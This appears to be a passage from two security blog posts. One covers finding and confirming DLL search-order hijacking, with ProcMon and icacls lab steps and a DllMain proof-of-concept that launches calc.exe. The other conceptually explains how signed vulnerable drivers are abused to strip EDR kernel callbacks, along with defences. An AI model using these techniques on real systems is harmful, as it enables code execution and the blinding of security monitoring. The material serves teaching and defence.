Is this DLL being loaded from a user-writable path?
Is this DLL signed by a trusted publisher?

An unsigned DLL loading from C:\Program Files\SomeApp\version.dll when version.dll is a known signed Microsoft binary is a high-confidence signal.

The combination of path anomaly plus missing signature is what triggers a detection — not either one alone.

What makes search order hijacking and phantom DLL loading detectable: the loaded path doesn't match where the legitimate DLL should be. A defender with a baseline of "what DLLs load from where on a clean system" catches this immediately on comparison.

What makes side-loading harder to detect: the loading process is a legitimate, signed binary. The DLL path may look reasonable — it's in the same directory as the executable. The parent process is trusted. Without signature verification of the loaded DLL itself, it blends in.

This is exactly why real APT groups — Lazarus, APT41, and others — rely on side-loading over the other two variants. The legitimacy of the loader provides cover.

The full detection picture requires correlating three things together:

Load path + signing status + parent process reputation

Any one of those alone is insufficient. All three together is a reliable signal.

Lab — See It Yourself

What you need: ProcMon, Process Hacker, WinObj (Sysinternals), a Windows lab VM

Lab 1 — Map the KnownDLLs boundary

Sysinternals WinObj → navigate to \KnownDLLs

Write down every DLL name you see there. These are permanently off-limits for search order hijacking. Everything not on this list is theoretically fair game. This gives you an instant mental filter before you open ProcMon.

Lab 2 — Find phantom DLL candidates with ProcMon

Set filters:

Result    is    NAME NOT FOUND
Path      ends with    .dll

Launch any application you have installed — VLC, Notepad++, 7-Zip. Let it fully load. Scroll through the results. For each entry, ask:

icacls "C:\path\from\procmon\output"

Any directory showing (W) or (F) for BUILTIN\Users is a writable candidate. Cross-reference the DLL name against your KnownDLLs list from Lab 1.

What this proves: you can go from zero knowledge to a confirmed hijackable target in under 10 minutes on almost any Windows system with third-party software installed.

Lab 3 — Verify a candidate end to end

Pick one confirmed candidate from Lab 2. Build a minimal DLL that just spawns calc.exe in DllMain:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_SHOW);
    }
    return TRUE;
}

Drop it in the writable path. Launch the target application. If calc opens — you have confirmed execution.

Then open Process Hacker, find the target process, go to the Modules tab, and find your DLL in the loaded module list. Note the path and the missing signature field.

What this proves: the full chain from ProcMon finding to confirmed code execution, exactly as a real engagement would flow.

What's Next

DLL hijacking relies on the Windows loader doing its job — finding and mapping your DLL because the application asked for it. But what if you're writing shellcode that runs before any loader exists? How does shellcode find the functions it needs without calling GetProcAddress or importing anything?

The answer is in the PEB — the same structure you've seen referenced across every blog in this series. Next post: Walking the PEB to Resolve APIs — How Shellcode Finds kernel32.dll Without Imports.

BYOVD Explained — How Attackers Use Signed Drivers to Kill EDRs

nimesh nakum — Tue, 09 Jun 2026 03:21:15 +0000

Your EDR sees everything. Process launches, thread injections, DLL loads, filesystem writes. It has eyes inside the kernel — little hooks that fire before anything consequential happens, passing information up to the agent, letting it decide whether to block or alert.

Now imagine something reaches into that kernel and quietly removes the hooks. No crash. No blue screen. No alert. The EDR process is still running, the dashboard still shows healthy, but the inputs it depends on are just gone.

This is part of windows internals I've been exploring — understanding how systems actually behave under the hood, not just how tools interact with them.

That's not a Windows bug. That's a trust problem.

BYOVD doesn't exploit Windows — it exploits trust.

Ring 0 vs Ring 3 — The Boundary That Matters

Windows splits execution into privilege levels. Your applications, your malware, your EDR agent — they all run in Ring 3, user mode. The kernel runs in Ring 0.

In my previous posts, I focused on how processes and execution work from an attacker's perspective. This goes one layer deeper — into the kernel where those assumptions start to break.

This isn't just organizational. The CPU enforces it. Ring 3 code cannot directly read kernel memory. It cannot call kernel functions. Every interaction goes through a controlled interface — syscalls — and the kernel decides whether to honor each request.

This is why typical malware stays loud. It has to use syscalls. Syscalls can be intercepted and monitored.

At Ring 0, security tools are just data structures.

Get code running in the kernel and those data structures become writable. The callback tables EDRs rely on, the hook registrations, the minifilter stack — all of it is reachable, readable, modifiable.

A Quick Personal Note on Why This Boundary Matters

Early on when I was messing around with kernel concepts, I tried doing something simple from user mode — reading a memory address that I knew belonged to a kernel structure. The kind of thing that would be trivially readable if you were in Ring 0.

The access violation came back immediately. Not a permission dialog, not a warning — just a hard stop from the CPU. You don't get to negotiate.

That failure stuck with me. The wall between Ring 3 and Ring 0 isn't a software check you can route around with the right API. It's enforced at the hardware level. And that's exactly why getting something trusted to carry you across that boundary is so valuable to an attacker. You don't climb the wall — you find someone with a key.

Drivers and the IOCTL Bridge

To load code at Ring 0, Windows requires a signed kernel driver. The signature has to come from a trusted certificate authority, and on 64-bit Windows, Driver Signature Enforcement makes this non-negotiable — no valid signature, no kernel access.

So attacker-written code can't just walk in. But legitimate drivers can. And some of those legitimate drivers have problems.

Drivers expose functionality to user-mode applications through an interface called IOCTL — Input/Output Control. It's the communication channel between user land and a running driver. You send a request, the driver processes it, you get a result.

If a driver's IOCTL handling is careless — if it lets caller-supplied data determine what memory gets read or written — then an attacker with that driver loaded has a working channel into kernel memory. No exploitation of Windows itself required.

A vulnerable driver doesn't exploit the kernel — it exposes it.

What an EDR Actually Does Inside the Kernel

It helps to understand what's actually being attacked.

Process creation callbacks fire whenever a new process spawns. EDRs register here to inspect launches, verify signatures, inject their monitoring components before the process has a chance to do anything.

Thread creation callbacks catch remote thread injection — when one process tries to spawn a thread inside another. Classic injection technique, and this is where it gets caught.

Image load callbacks fire when a DLL or executable is mapped into memory. Unsigned modules, suspicious paths, known-bad hashes — all detectable here.

Minifilters sit on the filesystem stack and intercept reads and writes before they complete. This is how EDRs scan files on access, block malicious writes, and log filesystem activity.

All of these mechanisms share the same underlying model: the EDR registers a function with the kernel, and the kernel calls that function at the right moment. The EDR's entire value proposition is built on those callbacks firing reliably.

Remove the callbacks, remove the EDR.

The BYOVD Concept

Three steps, conceptually.

One — load a legitimate, signed, vulnerable driver. Windows sees a valid signature and accepts it without complaint. No alerts, no prompts. The driver is in the kernel.

Two — communicate with the driver from user mode via IOCTL. Because the driver is vulnerable, it accepts requests that give the caller access to kernel memory reads or writes. The attacker uses this to navigate kernel structures — find what they're looking for.

Three — modify the structures that matter. Specifically, the callback registrations that make EDRs work. Clear the entries. Overwrite the function pointers. Surgically. The system keeps running, the EDR process stays alive, but its kernel-level visibility is gone.

The driver is a tool. A signed, vendor-approved crowbar.

Where It Actually Breaks the EDR

Kernel callbacks are implemented as arrays of function pointers. When the kernel fires a "process created" event, it walks the array and calls each registered function in order. Security tools register their detection routines into this array.

The array lives in kernel memory. It's data is Writable data, if you have access.

Remove an entry from the array and that function never gets called. The EDR never sees the process launch. No alert, no block, no log entry.

If the callback never runs, the detection never exists.

Think of it like a security camera system. The monitors are on, the control room is staffed, operators are watching. But someone has quietly cut the feed from the cameras covering the area that matters. Nothing looks wrong from the inside — screens still show footage, systems still report healthy. The operators just happen to be blind to exactly the right corner of the building.

That's what a successfully tampered EDR looks like from the attacker's perspective. Not broken. Just aimed at nothing.

The High-Level Flow

User-mode process initiates. A signed, known-vulnerable driver binary is written to disk and loaded through standard Windows driver loading mechanisms. It passes signature validation. It enters the kernel.

From user mode, the attacker's code opens a handle to the driver and begins sending IOCTL requests. The driver, due to its vulnerability, processes these requests in ways that expose kernel memory access.

Through that channel, the attacker locates kernel structures holding EDR callback registrations, with the help of base address and specific offsets. This targeting is deliberate — specific structures, specific offsets, specific security products.

Those structures are modified. Callback entries are cleared or overwritten. The EDR continues running in user mode, completely unaware that its kernel hooks no longer fire.

From that point on, the attacker operates in a space the EDR can't see.

Want to See This in Action (Safely)

If you want to understand how these pieces actually fit together — drivers, IOCTL communication, and kernel callbacks — I built a safe, hands-on lab that walks through each component step by step.

It doesn't replicate the attack directly, but it shows the exact mechanisms BYOVD relies on.

github

medium blog

Real-World: Lazarus and the Driver Playbook

Lazarus Group has been documented using BYOVD in real intrusions. They're not unique in this — several advanced groups have adopted the technique — but they're one of the more extensively documented cases.

What's notable isn't that they found sophisticated zero-days or developed novel exploitation chains. They went looking through public records of known-vulnerable drivers, found ones still carrying valid signatures, and used them.

Advanced attackers don't need new vulnerabilities — they need old trust.

A driver signed five years ago by a legitimate hardware vendor is still signed. If it has a memory access vulnerability and isn't on a blocklist, it's still usable on modern Windows. The attack surface here is time — the lag between a vulnerability being known, documented, and then actually blocked across the install base.

That lag can be years.

Why This Works: The Trust Model

Windows kernel trust is binary. Code is either signed and admitted or it isn't. Once admitted, there's no secondary behavioral analysis running on kernel-mode code in real time. The kernel doesn't second-guess things that are already running inside it.

Once code enters Ring 0, it becomes part of the system.

Signed drivers are trusted not because of what they do, but because of what they are. The gate is the signature, not the behavior. A driver that exposes arbitrary memory access is still trusted as long as the certificate is valid and not revoked.

And revocation is slow. Getting a driver onto Microsoft's blocklist requires coordination, testing, and update delivery. Vendors don't always respond quickly. Microsoft's list has gaps. And not every Windows installation gets updates promptly.

The math works out in the attacker's favor.

Defensive Reality

Driver blocklists exist. Microsoft maintains a Vulnerable Driver Blocklist that Windows will enforce. It's updated through Defender and Windows Update. It helps, It doesn't cover everything, and new vulnerable drivers surface faster than the list grows.

HVCI (Hypervisor-Protected Code Integrity) is more meaningful. It uses virtualization -- VBS like VTL1 , to protect kernel memory from modification and enforces that only validly signed code can execute in Ring 0. It raises the bar significantly — many BYOVD techniques don't work cleanly against it. The catch is compatibility; older drivers can break, and deployment isn't universal.

Monitoring driver loads is practical right now. Logging when drivers are loaded, checking them against known-vulnerable lists, alerting on unexpected driver load events — this is achievable with most modern security stacks. It's detective, not preventive, but catching a vulnerable driver being loaded is an actionable signal.

The honest reality: detection often happens after trust has already been granted. The IOCTL communication that modifies callback arrays can complete in milliseconds. By the time a driver load alert surfaces in a SIEM, the damage may already be done. Speed of detection and response matters here more than it does for most techniques.

Know your driver baseline. Know what normally loads in your environment. Anomalies are easier to catch when you know what normal looks like.

Closing

BYOVD is uncomfortable to think about because it plays by the rules. No memory corruption in Windows itself. No kernel vulnerability. No zero-day.

It finds a signed piece of code that was trusted by the system and uses that trust as a stepping stone into the kernel. Then it modifies the data structures that make EDR visibility possible, from a place the EDR can't reach or monitor.

The attack is a mirror held up to a specific assumption — that a signed driver is a safe driver, that trust extended is trust correctly placed, that the signature verification model is sufficient.

BYOVD doesn't break Windows security — it reveals its boundaries.

The more you look at these systems from the inside, the more you realize that most “security” is really about visibility — and once that visibility is gone, everything else becomes optional.

Understanding this technique matters because it reframes what EDR coverage actually means. It's conditional. Conditional on the kernel callbacks firing. Conditional on the driver blocklist being current. Conditional on trust decisions made years ago by vendors who may have shipped and forgotten about a product long since deprecated. That conditionality is worth building your detection strategy around.